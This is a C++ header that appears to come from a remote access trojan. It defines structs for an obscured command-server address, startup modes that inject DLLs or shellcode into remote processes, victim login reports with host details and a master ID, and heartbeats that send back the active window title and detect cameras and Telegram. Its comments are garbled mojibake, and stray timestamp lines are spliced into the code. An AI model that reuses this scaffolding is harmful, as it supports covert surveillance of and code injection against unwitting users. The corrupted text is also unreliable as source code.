catch (const std::exception& e) {
std::cerr << "Date parse error: " << e.what() << std::endl;
return -2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
}
}
// <20><>ö<EFBFBD><C3B6>ֵ<EFBFBD><D6B5>ClientType<70><65><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD>ȫһ<C8AB>£<EFBFBD>רΪ`TestRun`<60><><EFBFBD><EFBFBD>
// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`ServerDll`<60><><EFBFBD><EFBFBD>ʽ
// `TestRun` ֻ<><D6BB><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><EFBFBD>о<EFBFBD>Ŀ<EFBFBD><C4BF>
enum TestRunType {
Startup_DLL, // <20><><EFBFBD><EFBFBD>DLL
Startup_MEMDLL, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD>޴<EFBFBD><DEB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
Startup_InjDLL, // Զ<><D4B6>ע<EFBFBD><D7A2> DLL<4C><4C>ע<EFBFBD><D7A2>DLL·<4C><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>
Startup_Shellcode, // <20><><EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
Startup_InjSC, // Զ<><D4B6> Shell code <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
};
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
{
for (int i = 0; i < iBufferSize - iKeySize; ++i)
{
if (0 == memcmp(szBuffer + i, Key, iKeySize))
{
return i;
}
}
return -1;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS
{
2024-12-29 01:09:06 +08:00
public:
char szFlag[32];
char szServerIP[100];
char szPort[8];
2024-12-29 01:09:06 +08:00
int iType;
bool bEncrypt;
char szBuildDate[12];
int iMultiOpen;
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
int iHeaderEnc; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szReserved[126]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
2024-12-29 01:09:06 +08:00
public:
void SetType(int typ) {
iType = typ;
}
const void* Flag() const {
return szFlag;
}
CONNECT_ADDRESS ModifyFlag(const char* flag) const {
CONNECT_ADDRESS copy = *this;
memset(copy.szFlag, 0, sizeof(szFlag));
memcpy(copy.szFlag, flag, strlen(flag));
return copy;
}
int FlagLen() const {
return strlen(szFlag);
2024-12-29 01:09:06 +08:00
}
2025-05-27 04:15:35 +08:00
const char* ServerIP(){
if (bEncrypt) {
Decrypt();
}
return szServerIP;
}
2025-05-27 04:15:35 +08:00
int ServerPort() {
if (bEncrypt) {
Decrypt();
}
return atoi(szPort);
}
2024-12-29 01:09:06 +08:00
int ClientType()const {
return iType;
}
2025-04-24 03:01:40 +08:00
// return true if modified
bool SetServer(const char* ip, int port, bool e = false) {
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
return false;
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
bEncrypt = e;
strcpy_s(szServerIP, ip);
sprintf_s(szPort, "%d", port);
return modified;
}
2025-05-27 04:15:35 +08:00
void Encrypt() {
if (!bEncrypt){
bEncrypt = true;
StreamCipher cipher(0x12345678);
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
cipher.process((uint8_t*)szPort, sizeof(szPort));
}
}
void Decrypt() {
if (bEncrypt) {
bEncrypt = false;
StreamCipher cipher(0x12345678);
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
cipher.process((uint8_t*)szPort, sizeof(szPort));
}
}
bool IsValid() {
return strlen(ServerIP()) != 0 && ServerPort() > 0;
}
int Size() const {
return sizeof(CONNECT_ADDRESS);
2024-12-29 01:09:06 +08:00
}
} CONNECT_ADDRESS ;
// <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա:
// <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
struct ThreadInfo
{
int run;
HANDLE h;
void* p;
void* user;
CONNECT_ADDRESS* conn;
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
};
struct PluginParam {
char IP[100]; // <20><><EFBFBD><EFBFBD>IP
int Port; // <20><><EFBFBD>ض˿<D8B6>
State *Exit; // <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬
void* User; // CONNECT_ADDRESS* ָ<><D6B8>
PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){
strcpy_s(IP, ip);
}
};
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
std::istringstream stream(str);
std::string item;
std::vector<std::string> result;
// <20><><EFBFBD>ֺŷָ<C5B7><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
while (std::getline(stream, item, ch)) {
result.push_back(item); // <20><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
while (result.size() < reserved)
result.push_back("");
return result;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
// Ϊ<>ˣ<EFBFBD><CBA3><EFBFBD>20241228<32><EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1B9B9>Ԥ<EFBFBD><D4A4><EFBFBD>ֶΣ<D6B6><CEA3>Ա<EFBFBD>δ<EFBFBD><CEB4>֮<EFBFBD><D6AE>ʱ֮<CAB1><D6AE>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸Ĵ˽ṹ<CBBD><EFBFBD><E5A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
typedef struct LOGIN_INFOR
{
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
char OsVerInfoEx[156]; // 2.<2E><EFBFBD><E6B1BE>Ϣ
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>
char szPCName[240]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szMasterID[20]; // 5.1 <20><><EFBFBD><EFBFBD>ID
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
LOGIN_INFOR(){
memset(this, 0, sizeof(LOGIN_INFOR));
bToken = TOKEN_LOGIN;
strcpy_s(moduleVersion, DLL_VERSION);
}
LOGIN_INFOR& Speed(unsigned long speed) {
dwSpeed = speed;
return *this;
}
void AddReserved(const char* v) {
if (strlen(szReserved))
strcat_s(szReserved, "|");
if (strlen(szReserved) + strlen(v) < sizeof(szReserved))
strcat_s(szReserved, v);
}
void AddReserved(int n) {
if (strlen(szReserved))
strcat_s(szReserved, "|");
char buf[24] = {};
sprintf_s(buf, "%d", n);
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
strcat_s(szReserved, buf);
}
void AddReserved(double f) {
if (strlen(szReserved))
strcat_s(szReserved, "|");
char buf[24] = {};
sprintf_s(buf, "%.2f", f);
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
strcat_s(szReserved, buf);
}
std::vector<std::string> ParseReserved(int n = 1) const {
return StringToVector(szReserved, '|', n);
}
}LOGIN_INFOR;
// <20>̶<EFBFBD>1024<32>ֽ<EFBFBD>
typedef struct Heartbeat
{
uint64_t Time;
char ActiveWnd[512];
int Ping;
int HasSoftware;
char Reserved[496];
Heartbeat() {
memset(this, 0, sizeof(Heartbeat));
}
Heartbeat(const std::string& s, int ping = 0) {
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now()
);
Time = system_ms.time_since_epoch().count();
strcpy_s(ActiveWnd, s.c_str());
Ping = ping;
memset(Reserved, 0, sizeof(Reserved));
}
int Size() const {
return sizeof(Heartbeat);
}
}Heartbeat;
typedef struct HeartbeatACK {
uint64_t Time;
char Reserved[24];
}HeartbeatACK;
// <20>̶<EFBFBD>500<30>ֽ<EFBFBD>
typedef struct MasterSettings {
int ReportInterval; // <20>ϱ<EFBFBD><CFB1><EFBFBD><EFBFBD><EFBFBD>
int Is64Bit; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char Reserved[476]; // Ԥ<><D4A4>
}MasterSettings;
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
2025-05-29 19:49:05 +08:00
typedef struct DllExecuteInfo {
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int Size; // DLL <20><>С
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
char Reseverd[56];
2025-05-29 19:49:05 +08:00
}DllExecuteInfo;
enum
{
SOFTWARE_CAMERA = 0,
SOFTWARE_TELEGRAM,
SHELLCODE = 0,
MEMORYDLL = 1,
2025-05-29 19:49:05 +08:00
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: ֻ<>Ǽ<EFBFBD><C7BC><EFBFBD>DLL,<2C><>Ҫ<EFBFBD><D2AA>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1>д<EFBFBD><D0B4><EFBFBD>
CALLTYPE_IOCPTHREAD = 1, // <20><><EFBFBD><EFBFBD>run<75><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>: DWORD (__stdcall *run)(void* lParam)
};
typedef DWORD(__stdcall* PidCallback)(void);
inline const char* EVENTID(PidCallback pid) {
static char buf[64] = { 0 };
if (buf[0] == 0) {
sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid());
}
return buf;
}
#define EVENT_FINISHED EVENTID(GetCurrentProcessId)
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
for (char key : keys) {
for (int i = 0; i < len; ++i) {
data[i] ^= key;
}
}
}
inline std::tm ToPekingTime(const time_t* t) {
// <20><>ȡ<EFBFBD><C8A1>ǰʱ<C7B0><EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>գ<EFBFBD>
std::time_t now = (t == nullptr) ? std::time(nullptr) : *t;
// <20>̰߳<DFB3>ȫ<EFBFBD><C8AB>ת<EFBFBD><D7AA>Ϊ UTC ʱ<><CAB1>
std::tm utc_time{};
#ifdef _WIN32 // Windows ʹ<><CAB9> gmtime_s
if (gmtime_s(&utc_time, &now) != 0) {
return { 0, 0, 0, 1, 0, 100 }; // ʧ<><CAA7>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD> 2000-01-01 00:00:00
}
#else // Linux / macOS ʹ<><CAB9> gmtime_r
if (gmtime_r(&now, &utc_time) == nullptr) {
return { 0, 0, 0, 1, 0, 100 };
}
#endif
// ת<><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨UTC+8<><38>
utc_time.tm_hour += 8;
// <20><EFBFBD><E6B7B6>ʱ<EFBFBD><EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::mktime(&utc_time);
return utc_time;
}
inline std::string ToPekingTimeAsString(const time_t* t) {
auto pekingTime = ToPekingTime(t);
char buffer[20];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime);
return buffer;
}
#ifdef _DEBUG
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
#define SCREENYSPY_IMPROVE 0
#define SCREENSPY_WRITE 0
#endif
#ifdef _WIN32
#ifdef _WINDOWS
#include <afxwin.h>
#else
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#endif
// <20><><EFBFBD>ڴ<EFBFBD><DAB4>е<EFBFBD>λͼд<CDBC><D0B4><EFBFBD>ļ<EFBFBD>
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
char path[_MAX_PATH];
if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") {
strcpy_s(path, filePrefix.c_str());
}
else {
sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index);
}
FILE* File = fopen(path, "wb");
if (File) {
BITMAPFILEHEADER fileHeader = { 0 };
fileHeader.bfType = 0x4D42; // "BM"
fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage;
fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File);
fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File);
fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File);
fclose(File);
return true;
}
return false;
}
class MSG32 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(32λ)
public:
uint32_t hwnd;
uint32_t message;
uint32_t wParam;
uint32_t lParam;
uint32_t time;
POINT pt;
MSG32(const void* buffer, int size) {
if (size == sizeof(MSG32)) {
memcpy(this, buffer, sizeof(MSG32));
}
else {
memset(this, 0, sizeof(MSG32));
}
}
MSG32() {
memset(this, 0, sizeof(MSG32));
}
MSG32* Create(const void* buffer, int size) {
if (size == sizeof(MSG32)) {
memcpy(this, buffer, sizeof(MSG32));
}
else {
memset(this, 0, sizeof(MSG32));
}
return this;
}
};
// Windows <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢMSG<53><47>32λ<32><CEBB>64λϵͳ<CFB5>´<EFBFBD>С<EFBFBD><D0A1>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD>¿<EFBFBD>ƽ̨<C6BD>ܹ<EFBFBD>Զ<EFBFBD>̿<EFBFBD><CCBF><EFBFBD><EFBFBD>
// <20><>Ҫʹ<D2AA><CAB9><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(ͳһ<CDB3><D2BB><EFBFBD><EFBFBD>64λwindows <20><>MSG<53><47><EFBFBD><EFBFBD>)
class MSG64 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(64λ)
public:
uint64_t hwnd;
uint64_t message;
uint64_t wParam;
uint64_t lParam;
uint64_t time;
POINT pt;
MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
MSG64(const void* buffer, int size) {
if (size == sizeof(MSG64)) {
memcpy(this, buffer, sizeof(MSG64));
}
else {
memset(this, 0, sizeof(MSG64));
}
}
MSG64() {
memset(this, 0, sizeof(MSG64));
}
MSG64* Create(const MSG32* msg32) {
hwnd = msg32->hwnd;
message = msg32->message;
wParam = msg32->wParam;
lParam = msg32->lParam;
time = msg32->time;
pt = msg32->pt;
return this;
}
};
#ifdef _WIN64
#define MYMSG MSG
#else
#define MYMSG MSG64
#endif
#endif